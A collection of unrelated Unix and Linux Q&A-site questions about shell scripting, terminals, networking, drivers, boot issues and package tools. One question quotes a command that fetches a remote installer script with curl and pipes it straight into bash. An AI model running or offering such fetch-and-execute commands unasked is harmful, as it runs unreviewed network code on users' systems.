How do I get the solarized colour scheme working with gnome-terminal, tmux and vim?

There's a lot of questions around this, but it's because there are so many variables. I had to piece together instructions from many sites before I got this working. First, I could not easily set up the 16 solarized colour definitions in gnome- terminal (I did it by hand/clicking only to realise that I'd not got the order/mapping correct). Once I fixed that I moved on... Then I had solarized colours working in vim OK-ish, but there was some odd black backgrounds appearing in certain highlighting. Once I fixed that, I moved on... Then I realised vim went v. wonky once running inside tmux. This is massively debated, but very few of the answers (which mostly say about setting `TERM` to `xterm-256colors`) worked for me. I eventually fixed that too. Solarized is a very nice palette (although I darkened the darkest base colour and lightened the lightest as I prefer the higher contrast and found tmux's 'white' far far too yellow on my calibrated screen - prob fine on a typical uncalibrated laptop screen as they're usually way too blue!), so I'm posting this question with its answer to share the results of my learning.


exclude particular file from bash_completion

I have a simple `bash_completion` code. The only thing it does, is when I type `grcat` and then `Tab`, it offers to complete filenames from `/etc/grcat`.               _grcat() {         local word         COMPREPLY=()         if [ 1 -eq "$COMP_CWORD" ]; then           pushd /etc/grcat &>/dev/null || return 1           word="${COMP_WORDS[COMP_CWORD]}"           COMPREPLY=($(compgen -f "$word"))           popd &>/dev/null         fi     }      complete -F _grcat grcat      I need to modify it so that it lists all files from `/etc/grcat`, except `/etc/grcat/README`. How can I make `bash_completion` ignore one particular file ?


How to estimate loops/time for completion of GNU ddrescue (1.18.1) using current status?

## Background/Context: I am currently running GNU ddrescue 1.18.1 to recover data from a USB that experienced a cable disconnect while I was writing a virtual disk image onto the disk2s1 partition. Initially I am recovering my second partition (disk2s2) and notice that I have reached the third phase (Splitting). I am placing the image onto a network storage. **Question:** I have noticed that this phase loops. Is there a way to calculate the number of loops I am likely to experience, given my current status information (I am only showing two errors)? **Status:** ![status](http://i.stack.imgur.com/bFdJg.png) **Update/Edit:** So I am still very much interested in how one might estimate the loops/time for completion using the ddrescue tool. Per the comments, I am adding an evaluation of a log file for my disk2s1 partition as that is currently running (the disk2s2 has completed after 14.5 hours, with one user interruption for about 6 hours). ![part1-log](http://i.stack.imgur.com/F7zNu.png) **Completed Partition Log** For the partition which just completed, here is the result of the log inspection. ![photo-log](http://i.stack.imgur.com/2jYiB.png) **Reference (ddrescue algorithm notes):** 4 Algorithm * * * GNU ddrescue is not a derivative of dd, nor is related to dd in any way except in that both can be used for copying data from one device to another. The key difference is that ddrescue uses a sophisticated algorithm to copy data from failing drives causing them as little additional damage as possible. Ddrescue manages efficiently the status of the rescue in progress and tries to rescue the good parts first, scheduling reads inside bad (or slow) areas for later. This maximizes the amount of data that can be finally recovered from a failing drive. The standard dd utility can be used to save data from a failing drive, but it reads the data sequentially, which may wear out the drive without rescuing anything if the errors are at the beginning of the drive. Other programs read the data sequentially but switch to small size reads when they find errors. This is a bad idea because it means spending more time at error areas, damaging the surface, the heads and the drive mechanics, instead of getting out of them as fast as possible. This behavior reduces the chances of rescuing the remaining good data. The algorithm of ddrescue is as follows (the user may interrupt the process at any point, but be aware that a bad drive can block ddrescue for a long time until the kernel gives up): 1) Optionally read a logfile describing the status of a multi-part or previously interrupted rescue. If no logfile is specified or is empty or does not exist, mark all the rescue domain as non-tried. 2) (First phase; Copying) Read the non-tried parts of the input file, marking the failed blocks as non-trimmed and skipping beyond them. Skip also beyond slow areas. The skipped areas are tried later in two additional passes (before trimming), reversing the direction after each pass until all the rescue domain is tried. The third pass is a sweeping pass, with skipping disabled. (The purpose is to delimit large errors fast, keep the logfile small, and produce good starting points for trimming). Only non-tried areas are read in large blocks. Trimming, splitting and retrying are done sector by sector. Each sector is tried at most two times; the first in this step (usually as part of a large block read, but sometimes as a single sector read), the second in one of the steps below as a single sector read. 3) (Second phase; Trimming) Read forwards one sector at a time from the leading edge of the smallest non-trimmed block, until a bad sector is found. Then read backwards one sector at a time from the trailing edge of the same block, until a bad sector is found. For each non-trimmed block, mark the bad sectors found as bad-sector and mark the rest of that block as non-split without trying to read it. Repeat until there are no more non-trimmed blocks. (Large non-trimmed blocks are produced by concatenation of smaller ones, and its fraction of good data at the edges is therefore smaller). 4) (Third phase; Splitting) Read forwards one sector at a time from the center of the largest non-split block, until a bad sector is found. Then, if the bad sector found is not the first one tried, read backwards one sector at a time from the center of the same block, until a bad sector is found. If the logfile is larger than '--logfile-size', read sequentially the largest non-split blocks until the number of entries in the logfile drops below '--logfile- size'. Repeat until all remaining non-split blocks have less than 7 sectors. Then read the remaining non-split blocks sequentially. 5) (Fourth phase; Retrying) Optionally try to read again the bad sectors until the specified number of retry passes is reached. Every bad sector is tried only once in each pass. Ddrescue can't know if a bad sector is unrecoverable or if it will be eventually read after some retries. 6) Optionally write a logfile for later use. The total error size ('errsize') is sum of the sizes of all the non-trimmed, non-split and bad-sector blocks. It increases during the copying phase and may decrease during trimming, splitting and retrying. Note that as ddrescue splits the failed blocks, making them smaller, the total error size may decrease while the number of errors increases. The logfile is periodically saved to disc, as well as when ddrescue finishes or is interrupted. So in case of a crash you can resume the rescue with little recopying. The interval between saves varies from 30 seconds to 5 minutes depending on logfile size (larger logfiles are saved at longer intervals). Also, the same logfile can be used for multiple commands that copy different areas of the input file, and for multiple recovery attempts over different subsets. See this example: Rescue the most important part of the disc first. ddrescue -i0 -s50MiB /dev/hdc hdimage logfile ddrescue -i0 -s1MiB -d -r3 /dev/hdc hdimage logfile Then rescue some key disc areas. ddrescue -i30GiB -s10GiB /dev/hdc hdimage logfile ddrescue -i230GiB -s5GiB /dev/hdc hdimage logfile Now rescue the rest (does not recopy what is already done). ddrescue /dev/hdc hdimage logfile ddrescue -d -r3 /dev/hdc hdimage logfile


What is the different bash per terminal session for Konsole?

I am using `Konsole` in Kubuntu.   I was wondering what is the difference between a profile in Konsole and the profiles in our bash?   I am reading that we can create different profiles per Konsole session and use different bash per session.   What is meant by using different bash per session here?   I thought that the default bash is the one defined in the `/etc/passwd` for a user


I can't login to the graphical interface after a fresh installation of Debian?

I installed Debian 7.3 along with Windows 7, on my Acer Travelmate 2480 (1.73-GHz Intel Celeron M, 80GB HDD, 1GB RAM, Mobile Intel 945GM/GU Express graphics). I downloaded Debian CD-1 and checked its MD5 hash,then I created a bootable USB using Unetbootin. When I chose to boot Debian the execution was stopping at a line that says `pcspkr already registered ... aborting`, and then I get a black screen and I can only reboot with `Alt`+`Ctrl`+`Del`. I searched about this issue, and found a solution to add `nomodeset` at the end of line that starts with `linux` when I edit the boot commands in Grub using `e`, this time it worked but Debian was booting only in text mode. I'm aware that the issue is related to the graphics driver, but I'm new to Linux, so how can I use the text mode to fix this issue? Or is there any other solution?


How to do an IF statement from the result of a executed command

I am trying to do an IF statement from the output of an executed commmand. Here is how I am trying to do it, but it doesn't work. Does anyone know the right way to do this?               if [ "`netstat -lnp | grep ':8080'`" == *java* ]; then       echo "Found a Tomcat!"     fi


CPU locked at lowest frequency, cpufreqd says it won't manage it?

I have a Dell Latitude D600 running CrunchBang Statler (Debian Squeeze-based) with a 1.4GHz Pentium M. I noticed in Conky that my CPU freq is stuck at 600MHz, even when doing CPU-intensive things like Flash video. So I installed cpufreqd, ran cpufreq-info, and it returned this:               cpufrequtils 007: cpufreq-info (C) Dominik Brodowski 2004-2009     Report errors and bugs to cpufreq@vger.kernel.org, please.     analyzing CPU 0:       driver: acpi-cpufreq       CPUs which run at the same hardware frequency: 0       CPUs which need to have their frequency coordinated by software: 0       maximum transition latency: 10.0 us.       hardware limits: 600 MHz - 1.40 GHz       available frequency steps: 1.40 GHz, 1.20 GHz, 1000 MHz, 800 MHz, 600 MHz       available cpufreq governors: powersave, userspace, conservative, ondemand, performance       current policy: frequency should be within 600 MHz and 600 MHz.                       The governor "ondemand" may decide which speed to use                       within this range.       current CPU frequency is 600 MHz.       cpufreq stats: 1.40 GHz:0.00%, 1.20 GHz:0.00%, 1000 MHz:0.00%, 800 MHz:0.00%, 600 MHz:100.00%      Notice the part about "CPUs which need to have their frequency coordinated". It seems CPUFreqD is unable to manage my processor frequency, and it also says that it's being kept at a range of 600MHz to 600MHz. I have SpeedStep on, and supposedly 2.6 has full support for that (I have 2.6.39 backported from Wheezy), but I never notice SpeedStep doing anything. If I disable it, the BIOS says I'll be stuck at 600MHz. Power is no issue, as the laptop has no battery; it relies solely on its power cord. How can I enable the full frequency of my processor? Is Linux lying to me about the frequency? I'm decently experienced with Linux, so I'm not afraid to try complex fixes.


Unable to access internet if wireless enabled

The following is my route output. `eth0` is my wired network and `eth1` is my wireless network. Only wired one has access to internet. If I enable wireless, I am not able to access internet, it tries to access via `eth1` and I get 404 page of the wireless router. Why does `eth1` have higher preference though default is `eth0` (link)?               [balakrishnan@mylap ~]$ route     Kernel IP routing table     Destination     Gateway         Genmask         Flags Metric Ref    Use Iface     default         10.26.0.1       0.0.0.0         UG    0      0        0 eth0     10.26.0.0       *               255.255.192.0   U     1      0        0 eth0     link-local      *               255.255.0.0     U     1000   0        0 eth0     192.168.1.0     *               255.255.255.0   U     9      0        0 eth1               [balakrishnan@mylap ~]$ tracepath -n 8.8.8.8      1:  10.26.21.101                                          0.098ms pmtu 1500      1:  10.26.0.1                                            35.519ms       1:  10.26.0.1                                            29.763ms       2:  113.193.0.209                                        29.718ms       3:  no reply      4:  no reply      5:  no reply      **Edit:** I noticed that some times (rarely) I am able to connect. It looks like it randomly tries on both interfaces. Is there a way to set to use only eth0 ?


Is it possible to create a file with the privileges of other users?

I am a user of the root account on the server named A. And I also own the accounts of user1 and user2. When I create a file or directory in the account of user1, I want the owner of the file to be user2. Setting the group is possible by using the setuid (http://stackoverflow.com/questions/580584/setting-default-permissions-for- newly-created-files-and-sub-directories-under-a) For the user account, is there any way? Example. Make file - traditional way:               [user1@srv1 tmp]$ id     uid=4001(user1) gid=4001(user1) groups=4001(user1)          [user1@srv1 tmp]$ touch test_user1          [user1@srv1 tmp]$ ls -al test_user1     -rw-rw-r-- 1 user1 user1 0 2014-01-09 15:24 test_user1      Example. Make file - what I want:               [user1@srv1 tmp]$ id     uid=4001(user1) gid=4001(user1) groups=4001(user1)          [user1@srv1 tmp]$ touch test_user1          [user1@srv1 tmp]$ ls -al test_user1     -rw-rw-r-- 1 user2 user1 0 2014-01-09 15:24 test_user1      I **do not** wish to have to change the permissions of the file using the `chown` command.


colorize bash_completion

When I type `grep` and then press `TAB` twice, `bash_completion` will list files and directories in current directory. It will also complete filenames when I type initial letter. That is all very nice, the only problem is that when the directory contains many files and subdirectories, it can be quite chaotic and disorganized. It would help very much if `bash_completion` could at least color directories differently, similarly to what `ls -lA` does. Is this possible? ## EDIT: this is what my sample `bash_completion` config file looks like:               if [[ ${cur} == -* ]] ; then         COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )         return 0          else         _filedir     fi


What is PATH on a Mac OS?

What is the `PATH` in a Mac OS? I have used it to install global command-line tools, but the only documentation I have found are tutorials for doing just that, with no real explanation of what is happening under the hood. I also haven't found a relevant page on Wikipedia. So what is the purpose of `PATH` and what is the difference between `/etc/paths` and `~/.bash_profile`**? For example, in my `paths` file, I see this:               /usr/bin     /bin     /usr/sbin     /sbin     /usr/local/bin      But in my `~/.bash_profile`, I see this:               # Setting PATH for Python 2.7     # The orginal version is saved in .bash_profile.pysave     PATH="/Library/Frameworks/Python.framework/Versions/2.7/bin:${PATH}"     export PATH      Is this just a user-specific addition to the `paths` file? What's all that stuff in `paths`, like `/usr/bin`?


Rmmod module reappeared after plugging back device

I have an arduino that talks to my computer through the serial-usb driver ftdi. I want to use my own module instead when I plug my arduino. I did :   * `sudo rmmod usbserial`   * `sudo rmmod ftdi_sio`   * I wrote a driver that does nothing but logs "init/probe/exit"   * `lsmod` shows my driver and doesnt show usbserial/ftdi_sio   * `sudo depmod -a`   * I plug my arduino   * `lsmod` shows usbserial/ftdi_sio And instead of seeing my logs in dmesg I see that usbserial and ftdi_sio were instanciated. What should I do do override that ? P.S code :               static struct usb_device_id id_table [] = {        { USB_DEVICE(VENDOR_ID, PRODUCT_ID) },       { },     };     MODULE_DEVICE_TABLE (usb, id_table);     ...     static struct usb_driver arduino_driver = {        .name =   "thomasftdi",       .probe =  arduino_probe,       .disconnect = arduino_disconnect,       .id_table = id_table,     };     init...probe...      I didn't use modalias in the code nor in commands, should I add it somewhere to register the module ?


zsh completion installations (autojump) - How to use them?

I just installed `autojump` and have `oh-my-zsh` installed in my system. I have included the log of the installation at the bottom of this post. Note that at the end it says:               zsh completion has been installed to:     /usr/local/share/zsh/site-functions      What am I supposed to do with this information? How do I notify Zsh of this `zsh completion`? Also, whenever I now login with my Zsh shell, I get:               /usr/local/Cellar/autojump/21.6.9/etc/autojump.bash:13: command not found: complete     /usr/local/Cellar/autojump/21.6.9/etc/autojump.bash:52: = not found      Why? How can I fix this?               $ brew install autojump     ==> Downloading https://github.com/joelthelion/autojump/archive/release-v21.6.9.tar.gz     ############################################################################################################################ 100.0%     ==> Caveats     Add the following line to your ~/.bash_profile or ~/.zshrc file (and remember     to source the file to update your current session):       [[ -s `brew --prefix`/etc/autojump.sh ]] && . `brew --prefix`/etc/autojump.sh          zsh completion has been installed to:       /usr/local/share/zsh/site-functions


What does a "< <(...)" redirection mean?

I've seen that rvm (ruby version manager) is installed using the following command:               bash < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer )      So as I understand we get the script content and pass it to the bash (I believe `< <` and `<<` is the same thing?) I am interested in the `< <` part, found following description on the net: > `<<` token Means use the current input stream as STDIN for the program until > token is seen. This is somehow not clear for me, can someone make an example or explain it in more simple way?


Is there a yum or apt-get like system on Solaris?

I am aware of the use of `pkg` to install an individual package file, but it does not include a repository infrastructure like other Linux distributions. Is there any solution that behaves like `yum` or `apt on the Solaris 11 Express platform?


How can I list the second to last word found in a sequence of statements in awk

My file is written like:               apples,oranges,berries,cherries          beer,wine,shots          chocolate,icecream,cake,muffins          cherries,guacamole,lychee      I need to output the second to last word in lines that contain the word cherries using awk:                   I want it to print:      food: berries, guacamole cherries appeared: 0/2 times I currently have:               /cherries/          BEGIN {print "food:";}          {for (NR in a) {          FS=",";          printf($(NF-1));j++;          if((NF-1)=="cherries"){$i++;}          }          }     END {print "cherries appeared" i/j "times"}      What happens is it just prints every line that has cherries in it (the entire line) and $i$ comes out with a value of 0, so here it would print: food: apples,oranges,berries,cherriescherries,guacamole,lychee cherries appeared: nantimes


Disabling X server on Fedora 17

How can I prevent the X server from starting up on Fedora 17? In older versions the user should edit `/etc/inittab` but in this version (I didn't check this on previous versions) Fedora uses some other mechanisms to do that.


Validate Unix Timestamp using BASH

My google-fu has failed me so I'm hoping someone here can point me in the right direction. I'm in the middle of doing some data validation efforts and I suspect the system is recording some invalid dates in the unix epoch format (seconds since the epoch). Is there an easy way in bash, given data that looks like `1357853083` (seconds since the unix epoch) to ascertain if it's a valid unix timestamp or not? Ideally I'm looking for timestamps that cannot be converted to a human readable date as well as timestamps that might render to a future date that's greater than the current date. I've compiled this monstrosity which converts things into a human readable date, but I can't figure out how to make it find invalid dates.               $ grep "delimiter" * | grep -v "delimiter2" | awk -F"," '{print $2}' | awk -F":" '{print $2}' | awk -F"*" '{print $1}' | awk '{printf("%s", strftime("%Y.%m.%d ",$1)); printf("%s", strftime("%H:%M:%S \n",$1))}' | sort -V


Changing the default shell without chsh or administrator priviledges

I saw the following snippet in this thread: How to change from csh to bash as default shell               sleep 2     if (-x /usr/local/bin/bash) then       exec /bin/sh -c '. ~/.profile; exec /usr/local/bin/bash'     endif      My understanding is that if you place this snippet in `~/.login` it will invoke `bash` when you login. I have a similar situation where I would like to use a similar snippet to invoke a version of `zsh` that is different from the default one with which I log in. Part of the reason why I am going through this trouble is because I can't choose my desired version of `zsh` in the options allowed in `chsh`, and I don't have administrator privileges. With this:   * How would I change the snippet above to do this when switching between different versions of zsh?    * Why are two `exec` commands needed in the snippet above? What do they do? Also, why does the snippet above use `sh` **and** `bash` (the user is supposed to login with `csh`)


FPATH in zsh: functions and site-functions

I noticed I have the following line near the beginning of my `.zshrc` file:               export FPATH=/usr/share/zsh/site-functions:/usr/share/zsh/4.2.6/functions:$FPATH        I can't remember if I typed this myself or if this line was automatically generated by `zsh-newuser-install`. Is it assumed that the user types those paths in `FPATH` in a startup file? What's the difference between `functions` and `site-functions`?


Font list not refreshing in apps in debian

I copied a bunch of .ttf and otf fonts into ~/.fonts, made sure permissions where set to my user/group and ran `fc-cache ~/.fonts`. Opened up GIMP and Geany but the fonts aren't available. Any idea what's up?


How to get the name of the last mounted/unmounted filesystem

I'm know I can monitor (using poll, or select) on the files `/proc/mount` or `/etc/mtab` and findout **WHEN** a filesystem is mounted or unmounted. Also I can use getmntent for getting a list of mounted filesystems. My app is intended to monitor the mounted filesystem and report any change (mount or unmount). My solution:   1. Detect some change in `/proc/mounts`.   2. Get all currently mounted filesystem with `getmntent`.   3. Compare the obtained list with some previous list.   4. Process the difference. But I need to know if there are some way to get the last filesystem mounted when polling from `/proc/mounts` or `/etc/mtab`. Just reading the file or polling data into some structure (like `mntent` for instance.)


cd to a name-unknown directory in a known path

I am trying to automate the deployment of a webapp under development that is frequently updated. The webapp comes in the form of a zip file with unknown name, and this directory structure:               unknown_name.zip       └── unknown_folder_name          └──all_the_application_files      I need a bash script to:   * remove all the contents of /var/www/ [done]   * uncompress the unknown_name.zip archive, in a given tmp path [done]   * cd inside that known tmp path [done]   * cd inside the unknown_folder_name extracted from the unknown_name.zip   * move all_the_application_files to /var/www [easy if we solve previous bullet] * * * Important: inside the tmp directory there will be only one directory, the one I want to go inside. My current bash script:               rm -r /var/www/*     unzip ./\*.zip \* -d /home/lese/tmp-deploy     cd /home/lese/tmp-deploy     # HERE I WOULD cd unknown_folder_name     mv * /var/www/


tar: /dev/nst0: Cannot write: Input/output error when taking backup

When I try to take backup of data more than 1MB in a tape (LTO3) using tar command it showing me the following error.               xyz@localhost# tar -cvf /dev/nst0 file1.tar     file1.tar     tar: /dev/nst0: Cannot write: Input/output error     tar: Error is not recoverable: exiting now      Output of `mt -f /dev/st0 status`:               SCSI 2 tape drive:     File number=0, block number=0, partition=0.     Tape block size 0 bytes. Density code 0x44 (LTO-3).     Soft error count since last status=0     General status bits on (41010000):     BOT ONLINE IM_REP_EN      Output of `dmesg`:               st0: Sense Key : Aborted Command [current]     st0: Add. Sense: Information unit iuCRC error detected      and               st0: <<vendor>> ASC=0xff ASCQ=0xffASC=0xff <<vendor>> ASCQ=0xff     Errata on LSI53C1030 occurredsc->req_bufflen=0x2800, xfer_cnt=0x00,difftransfer= 0x1400     st0: Sense Key : Medium Error [current]     Info fld=0x1400      Output of `cat /proc/scsi/scsi`:               Attached devices:     Host: scsi1 Channel: 00 Id: 00 Lun: 00     Vendor: NECVMWar Model: VMware IDE CDR10 Rev: 1.00     Type: CD-ROM ANSI SCSI revision: 05     Host: scsi2 Channel: 00 Id: 00 Lun: 00     Vendor: VMware Model: Virtual disk Rev: 1.0     Type: Direct-Access ANSI SCSI revision: 02     Host: scsi2 Channel: 00 Id: 01 Lun: 00     Vendor: HP Model: Ultrium 3-SCSI Rev: G54W     Type: Sequential-Access ANSI SCSI revision: 03     Host: scsi2 Channel: 00 Id: 02 Lun: 00     Vendor: HP Model: 1x8 autoloader Rev: 1.50     Type: Medium Changer ANSI SCSI revision: 03


How to add Ip Aliases with Two Gateway on same nic Centos

I have 2 allocated address range, example   1. 10.10.12.25/28   2. 10.12.12.24/28 How to add Ip Aliases with Two Gateway on same nic with Centos?


vpnc not work on linux backup machine

I have a very strange problem with the VPNC ( vpnc cisco client , open source vpn for cisco ) I installed the VPNC on my linux machine **linux_box1** ( red-hat version 6.3 ) this machine is VM ware machine VPNC work well on **linux_box1** We decided to clone the machine linux_box1 and to make from this machine backup – **linux_box2** After we clone the primary machine and create backup machine – **linux_box2** We start up the Linux machine –linux_box2 ( we af coerce change the IP address to avoid duplicate IP ) And try to activate the vpnc on **linux_box2** But vpnc not work properly on **linux_box2** ( in spite linux_box1 and linux_box2 are the same machine exactly ) The problem is when I type vpnc , then I need to answer on the password question No matter what I write in the password , vpnc not read correctly the password proof for that is when I give wrong password , then vpnc not ask me about other password On the primary machine is different When I activate the vpnc and answer wrong password , then vpnc ask me again about other password I really not understand wha happened here Maybe vpnc recognize this backup machine and make problems ? or something else Please advice what could be the problem Why after we clone the Linux machine , vpnc reacted different on the backup machine ? VPNC link - http://www.vpnc.org/


user accessing and permission denied

I had a user john in fedora 19               usergroup marygroup     useradd -g marygroup mary     usermod -a -G marygroup john      In John terminal:               cd /home/mary      Permission denied               cd /home          ls -l     drwx------. 11 john john     drwx------. 11 mary marygroup     logged into as root     chmod 770 /home/mary     ls -l     drwx------. 11 john john     drwxrwx---. 11 mary marygroup      still cannot do cd Permission denied why?


Fedora 17 Grub not finding Windows 8

I had Windows 8 installed, shrunk it and installed Fedora 17 using the free space. It now only boots into Fedora. I have these two EFI partitions:               /dev/sda2       /EFI         /Boot/bootx64.efi         /toshiba/Boot           /bootmgfw.efi           /bootmgr.efi           ...         /Microsoft/Boot           /bootmgfw.efi           /bootmgr.efi           ...          /dev/sda6       /EFI/redhat         /device.map         /grub.conf -- this is the config file used         /grub.efi      I've tried all `.efi` files on `sda2`. When one of those options is selected the Grub menu redraws. Nothing happens and no errors are given. grub.conf:               ...     boot=/dev/sda6     ...     title win8       root (hd0,2)       chainloader /EFI/path to one of the .efi files      Using Grub 0.97-93.tc17 Oddly, if I enter the `grub` command-line and enter these two commands I boot up into windows with no problems:               root (hd0,2)     quit      If possible I'd like to have an entry I can just select instead.


How can I keep color codes with grep input?

It I grep something twice:               ... | grep foo | grep bar      It seems foo is not highlighted. Infact, it seems grep removes colorcodes from its input; Any way to prevent this?


Can I launch a process as root without launching root's login shell?

I tried to change the login shell. Here's what the first line of `/etc/passwd` looks like (on a Debian Wheezy install):               rootx:0:0:root:/root:/:zsh      When I try to login as `root`:               Cannot execute zsh: No such file or directory      I know `zsh` is available:               $ which zsh     /usr/bin/zsh      Okay, it seems logical to replace `zsh` by its full path. But how can I do it? I have one other user on the system (`user`), however it doesn't have root privileges and `sudo` is not installed on the system. Assume that for whatever reason (encryption, physical access, ...) I cannot boot on a live CD to modify the file. I do know, however, the credentials for the `root` account. My question is: Is there any way, even programatically, to launch a process with the `root` account without launching its login shell first?


Install new packages on old unmaintained computer

We have an ancien server (Fedora Core 4) installed in 2005. This server had never been updated. It runs a special software allowing to monitor a production line without being connected directly to the outside world. It is out of question to upgrade the system. Some utilities have bugs or missing options. Some other utilities are missing. I have to install some script on this server. The main problem is Bash is really too old and lacks some usefull stuff. I don't like the idea to hack those well tested scripts. Is there a way to run a newer Bash, and install new programs while letting the system untouched ? Maybe something like BusyBox does ? Or within a chroot ? The problem of a chroot is the difficulty to access the real system. For example my backup script won't work.


cp hidden files with glob patterns

Situation :               $ mkdir foo && touch foo/.test     $ cp foo/* .     zsh: no matches found: test/*     (or bash : cp: cannot stat ‘test/*’: No such file or directory)      I have a directory full of hidden folders and files. What is happening and what is the solution?


Lowering kernel timer interrupt frequency

When I run my Virtual Machine with Gentoo as guest, I have found that there is considerable overhead coming from tick_periodic function.( this is the function which runs on every timer interrupt).This function updates a global jiffy using write_seqlocks which leads to the overhead. Here's a grep of HZ and relevant stuff in my config file.               sharan013@sitmac4:~$ cat /boot/config | egrep 'HZ|TIME'     # CONFIG_RCU_FAST_NO_HZ is not set     CONFIG_NO_HZ=y     # CONFIG_HZ_100 is not set     # CONFIG_HZ_250 is not set     # CONFIG_HZ_300 is not set     CONFIG_HZ_1000=y     CONFIG_HZ=1000     # CONFIG_MACHZ_WDT is not set     CONFIG_TIMERFD=y     CONFIG_HIGH_RES_TIMERS=y     CONFIG_X86_CYCLONE_TIMER=y     CONFIG_HPET_TIMER=y      Clearly it has set the configuration to 1000, but when I do `sysconf(_SC_CLK_TCK)` I get 100 as my timer frequency.So what is my systems timer frequency? What I want to do is to bring the frequency down to 100,even lower if possible.Although it might effect the interactivity and precision of poll/select and schedulers time slice, I am ready to sacrifice these things for lesser timer interrupt as it will speed up VM.   when I tried to find out what has to be done I read in some place that you can do so by changing in the configuration file, else where I read that adding divider=10 to the boot parameter does the job , else where I read that none of it is needed if you can set the `(CONFIG_HIGH_RES_TIMERS)` to acheive low- latency timers even without increasing the timer frequency and the same is possible with a tickless system `CONFIG_NO_HZ`.   I am extermely confused about what is the right approach.   All I want is to bring down the timer interrupt to as low as possible.   Can I know the right way of doing this ? Thanks, Sharan


How to change yum's default downloader

By default `yum` uses `curl` to download packages from internet repositories. I want use `axel` instead of `curl` to download packages: is it possible?


Why doesn't this xargs command work?

I wanted to delete all .sh extensions so did this:               ls *.sh | xargs -I {} mv {} `basename {} .sh`      However it doesn't work, it behaves like `basename` returns unchanged file name. Why is it behaving that way ? For instance, this works:               ls *.sh | xargs -I {} echo `basename {}.jpg .jpg`;      **EDIT** : Solution: single quote prevents ``basename ...`` evaluation by the shell before the command is run.               ls *.sh | xargs -I {}  sh -c 'mv {} `basename {} .sh`'


What are the benefits of using several IP addresses on a server?

With `ifconfig`, I am able to configure multiple IP addresses on a single network interface card. Why would I want to do that and how would I later utilize several addresses, e.g. how does software know which one to use? I have only used network interfaces with a single IP address so far.


How do I install swell-foop-3.11.1.tar.gz in Linux Mint Petra?

How do I install `swell-foop-3.11.1.tar.gz` in Linux Mint Petra?   I tried to install it with software manager but the game does not seem to work, so I downloaded `swell-foop-3.11.1.tar.gz` and extracted it, but I don't know how to install it.   Do I use terminal? If so how?


How to merge a Windows 8 install with a Linux Mint, two different disks, same computer

I have a Windows 8 on a disk drive I removed, then installed Linux Mint on a new disk drive. I would like to place the Windows 8 back as dual boot... is this possible? The problem was, I could never get my Windows 8 on the new, larger/faster disk so I basically said F*&% Windows 8 after ruining another of my weekends and loaded the Mint. I can live with Mint, but I miss a few things in Windows, Photoshop and Flash Pro (for it's new convert to JavaScript tools). Another option I thought of,but scared to even try due to time constraints, can you mirror this Windows install to a VM and run out of Linux.. easily or at least with work, reliably? This is, mirror the existing and not install new, because my 8 is an upgrade and now they will not let me transfer key to new install.


Bash globbing: how to express "something-*.txt except *-foobar.txt" as glob?

On the command line, can I express easily in terms of shell globs that I would like to catch all files `something-*.txt`, except for `something-*-foobar.txt`? If I can, how? NB: I know how to achieve the same with `grep -v` or other combinations of multiple commands. The question is solely about whether (and if so how) to achieve this with shell globs.


Using text from previous commands' output

I know this is not how terminals work, but I find myself often wishing there was an easy way of using text (copying it, modifying it, etc) that is already on my terminal window history from some previous command output. I've imagined it like this: I'm at my bash shell about to enter a command and I realize I need to type something that is already on the screen a few lines above. I can reach for the mouse and select it, but I hate that. What I really wish at this moment is that my whole terminal became a giant Vim buffer, all of it: the prompts, the commands I've typed, and the output from those commands. Everything. And then I could jump a few lines up, maybe edit a little, and yank some text. Then, return to bash shell mode and paste whatever I yanked into the current command line. I know there are some options:   * Naturally, pipe the text I need directly from some command's output to a file, or right to the next command. But for that you have to plan in advance or re-execute the command from your history (supposing the output won't change between invocations).   * To reach for the mouse and select the text to copy. Lame, annoying, I wish I hadn't to do that, (this isn't the GUI stackexchange site, is it? =)   * To use my (Mac OS X) Terminal application's "Export text as..." option, and save the terminal text to a file. Then open the file and work with it. Almost, but why go through the step of saving to a file on disk? So the question is: What do you do in this situation? Is there any trick, tool, shell feature that could be useful in this scenario? Do you just resign yourself to use the mouse or re-type whatever you need to type? It might be that the problem is that I'm not doing things 'the unix way', but c'mon, this is 2010 and I cannot easily copy some text a few lines away from my cursor?


How to move all files with a certain file extension from subdirectories to a single directory

I have a directory that contains many subdirectories. The subdirectories contain lots of types of files with different file extensions. I want to move (not copy) all the files of one type into a new directory. I need all these files to be in the same directory, i.e. it needs to be flat. (My use case is that I want to move ebooks called *.epub from many directories into a single folder that an EPUB reader can find.)


clear gnu screen window name

I'm using screen with a hardstatus listing my open windows, I usually have a few named (mail, im, top, etc.) and a few with blank name. Some program changes the current window name, for my named window that's not a problem: Ctrl+a, A: allow me to change back the name. but the same command does not want an empty string as the name and keep the current name in that case. So, how can I set an empty name to screen window? A single space does not count.


update line based on previous line

I have a issue since I'm not familiar with awk. I have csv file generated from sar -d output converted to csv style:               12:33:41        unix,restarts     12:35:00,lofi4096,0,0.0,0,0,0.0,0.0     ,iscsi0,0,0.0,0,0,0.0,0.0     ,scsi_vhc,0,0.0,0,0,0.0,0.0     ,nfs1,0,0.0,0,0,0.0,0.0          12:45:00,lofi4096,0,0.0,0,0,0.0,0.0     ,iscsi0,0,0.0,0,0,0.0,0.0     ,scsi_vhc,0,0.0,0,0,0.0,0.0     ,nfs1,0,0.0,0,0,0.0,0.0      and I want to convert to this               12:33:41        unix,restarts     12:35:00,lofi4096,0,0.0,0,0,0.0,0.0     12:35:00,iscsi0,0,0.0,0,0,0.0,0.0     12:35:00,scsi_vhc,0,0.0,0,0,0.0,0.0     12:35:00,nfs1,0,0.0,0,0,0.0,0.0          12:45:00,lofi4096,0,0.0,0,0,0.0,0.0     12:45:00,iscsi0,0,0.0,0,0,0.0,0.0     12:45:00,scsi_vhc,0,0.0,0,0,0.0,0.0     12:45:00,nfs1,0,0.0,0,0,0.0,0.0      My attempt but since awk reads line by line I don't know out to keep the previous line value. I would expect that what I have should work. Any idea how I can obtain my desired result. I tried with awk, but I guess this should be possible with sed or the hard way with a custom shell script ( I'm trying to avoid doing this part ).               #!/usr/bin/awk -f     BEGIN {             FS=",";     }     {             print $1             if ($1 != "") {                     mydate=$1;                     print $0;             }             else {                     print $mydate","$0;             }     }      Running the system with Solaris 11.1.


Repeating a text-output terminal command, in a scrollable ncurses-like interface?

